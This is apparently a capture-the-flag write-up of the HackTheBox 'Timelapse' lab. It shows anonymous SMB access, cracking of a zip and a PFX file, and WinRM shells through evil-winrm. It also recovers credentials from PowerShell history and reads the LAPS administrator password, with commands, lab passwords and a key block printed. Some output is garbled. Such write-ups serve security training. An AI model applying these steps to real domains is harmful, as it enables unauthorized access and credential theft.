## **Timelapse**

## **Synopsis**

Timelapse is an Easy Windows which involves accessing a publicly accessible SMB share containing a zip file with a PFX key. This zip file requires a password, which can be cracked by using John. Extracting the zip file shows it contains a password encrypted PFX file which can be gathered with John as well by converting the PFX file to a hash format readable by John. From the PFX file an SSL certificate and a private key can be extracted which is used for logging in with WinRM. After authentication we discover a PowerShell history file containing login credentials for svc\_deploy user. User enumeration shows that svc\_deploy is part of a group named LAPS\_Readers. The LAPS\_Readers group has the ability to manage passwords in LAPS, which allows any user from this group to read the local passwords for machines in the domain so by abusing this trust we retrieve the password for Administrator and gain a WinRM session..

## Skills

- Enumeration
- Hash cracking
- Knowledge of Windows
- LAPS privilege escalation

## **Exploitation**

As always we start with the nmap to check what services/ports are open

Judging by the open ports we can conclude that we deal with a domain controller

As the first step we checked the SMB shares, if we have an anonymous access

And we got an anonymous access - accessing the share "Shares" what gave us two directories, inside of which we found .pfx file

```
Mon Oct 25 15:40:06 2021
 winrm_backup.zip
                 6367231 blocks of size 4096. 2088640 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (16.6 KiloBytes/sec) (ave
smb: \Dev\> cd ..
smb: \> ls
                                                        Mon Oct 25 11:39:15 2021
Mon Oct 25 15:40:06 2021
 Dev
 HelpDesk
                                                        Mon Oct 25 11:48:42 2021
                 6367231 blocks of size 4096. 2088640 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
                                                     0 Mon Oct 25 11:48:42 2021
0 Mon Oct 25 11:48:42 2021
 LAPS.x64.msi
                                                        Mon Oct 25 10:57:50 2021
                                           A 1118208
                                              104422 Mon Oct 25 10:57:46 2021 641378 Mon Oct 25 10:57:40 2021
 LAPS_Datasheet.docx
 LAPS_OperationsGuide.docx
 LAPS_TechnicalSpecification.docx
```

PFX file can be abused to forge a malicious certificate and provide us with the remote access to the system

So first of all we used pfx2john to get a hash and crack it

```
\text{\summath{n}} \text{\summat
```

```
# openssl pkcs12 -in *.pfx -info
Enter Import Password:
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
Bag Attributes
    Microsoft Local Key set: <No Values>
    localKeyID: 01 00 00 00
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
    X509v3 Key Usage: 90
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
     BEGIN ENCRYPTED PRIVATE KEY-
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIbkbe9mNa4lMCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBthoyEvFdqdUmFie4t67EdBIIE
0PQ07JXZAY+ZQE0kj2A7vudzMWbXzBYc024lRCms05/j1rC4DaNct5E7dW0dNw4z
biHBlLbQvGsL9S92i04Alf/7h0rJQ5NBgJ5+dsqebtZ+hnJ/7i9r3XDChyVVjuhJ
qgjAHw2LQPLNAmqcJJmXsHuFLeY6LxsvZXGrFiUAFJZQAg31W0eIblIkBctySTUe
jbnPLMJUVtT7G+u7Df1Z7A2ewfXWRdamUm16uEP1bjC70×CErL1M38h5fXSkVZ+Q
V1F8Lg11n57P+fo0WLQ5ezW4RHZsvazz/c8RhqrCsS2tgkMffn/7XfIA0McGB0T2
qOTDaUqfosTl2WV37V55tnMUiAZgmLRDcy/8Lm5m+Cn+pgtilOsxuI7zYUYucsl0
aWAX4PrcntSPjNRdi9MtzxLUg2IgX1UNBF3Uiidlx6h5lDEnActX9u02BHrLLEwa
vkk6v7kL4yhwjDr1RNilidjysOT0FDEyiYiuGiWS466VrZhCVeOGxG/UBSPAdVrN
ye04r3Te2ccnliPTURPuQT+RrrflWpLKFog0WNjWSjcD1/Wcw+R5N3nnmBzwrliD
7sabKuXMBywQatDYcbQXa000DsDVhncED83GvVuC072Jz0cQfjkQuDIHQIbT6GmL
azcHk6MYwUut5Gg4gqu4aHrs4vNpTs0HnDdjbo3d78weLwo4O7jOrkjcguV9xE8/
xm2UzOniF6eIZMhIvvu9Xqyjizzj5ZaE+Oe5g+FiVdLghEt9iZnVlzAKGU5N0tDG
OsOgbqr+GQBPcalTKDXHUIoNl49edXHz/GkOOSKzGbWC5XcXd4rZ8afpgnJhflzQ
NKMuZDpLU1jJnNY3jltp5t7zv6VVpaMOGb0/r19Upu/w00IoTRtXYgaEt9aNvxXg
PpdsU8oTV6Dqlt0FpkD2Qa6270JPIQocgAfBa0yz0n5hDQ8CiPWe6j5CRtF59mys
jamD4j+lJdV0IHnVzF+dhv2ebmLhiKJ2XanlAKfyxNaCaW1Qi0b6ehlt/q/vxTkE
```

next, we used openssl to forge the certificate

And with that forged certificate we got a shell via evil-winrm as a user legacyy

```
L# ./evil-winrm.rb -i 10.10.11.152 -S -c ~/Desktop/Boxes/Timelapse.htb/key.cert -k ~/Desktop/Boxes/Timelapse.htb/key.pem

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\legacyy\Documents>
```

Enumeration of the files stored on the system, gave us powershell history file where we found password for user svc\_deploy

```
Fully {\tt QualifiedErrorId} \ : \ {\tt GetContentReaderUnauthorizedAccessError, Microsoft.PowerShell.Commands.GetContentReaderUnauthorizedAccessError, Microsoft.GetContentReaderUnauthorizedAccessError, Microsoft.GetContentReaderUnautho
 Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell> cd PSREadLine
Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> dir
         Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine
                                                                                                                                     Length Name
                                              3/3/2022 11:46 PM
                                                                                                                                               434 ConsoleHost history.txt
 Evil<mark>-WinRM* PS</mark> C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> cd type ConsoleHos
  positional parameter cannot be found that accepts argument 'ConsoleHose history.txt'.
  cd type ConsoleHose_history.txt
  + CategoryInfo : InvalidArgument: (:) [Set-Location], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> type ConsoleHost_
pconfig /all
etstat -ano |select-string LIST
iso = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
ip = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
nvoke-command -computername localhost -credential ('svc_deploy', $p)

SessionOption $50 -scriptblock (wherei)
 c = New-Object System.Management.Automation.PSCredential ('svc_deploy'
essionOption $so -scriptblock {whoami}
et-aduser -filter * -properties *
    vil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine>
```

And this user is a member of LAPS group, what means that he can read radnomdly generated administrator password

```
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user svc_deploy
User name
                              svc_deploy
Full Name
                              svc_deploy
Comment
User's comment
Country/region code
                              000 (System Default)
Account active
                              Yes
Account expires
                              Never
Password last set
                              10/25/2021 12:12:38 PM
Password expires
                              Never
Password changeable
                              10/26/2021 12:12:38 PM
Password required
                              Yes
User may change password
                              Yes
Workstations allowed
                              All
Logon script
User profile
Home directory
                              10/25/2021 12:25:53 PM
Last logon
Logon hours allowed
                              All
Local Group Memberships
                              *Remote Management Use
Global Group memberships
                              *LAPS_Readers
                                                    *Domain Users
The command completed successfully.
```

So we used evil-winrm again to get a shell as svc\_deploy

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

And from the we extracted administrator password

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> get-AdComputer dc01 -property DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb DNSHostName : dc01.timelapse.htb Enabled : True ms-mcs-admpwd : \}i8+;+498u0\$)bXq9G8K[XYA Name : DC01 ObjectClass : computer ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f SamAccountName : DC01\$SID : S-1-5-21-671920749-559770252-3318990721-1000 UserPrincipalName :
```

What gave us an access as the administrator via evil-winrm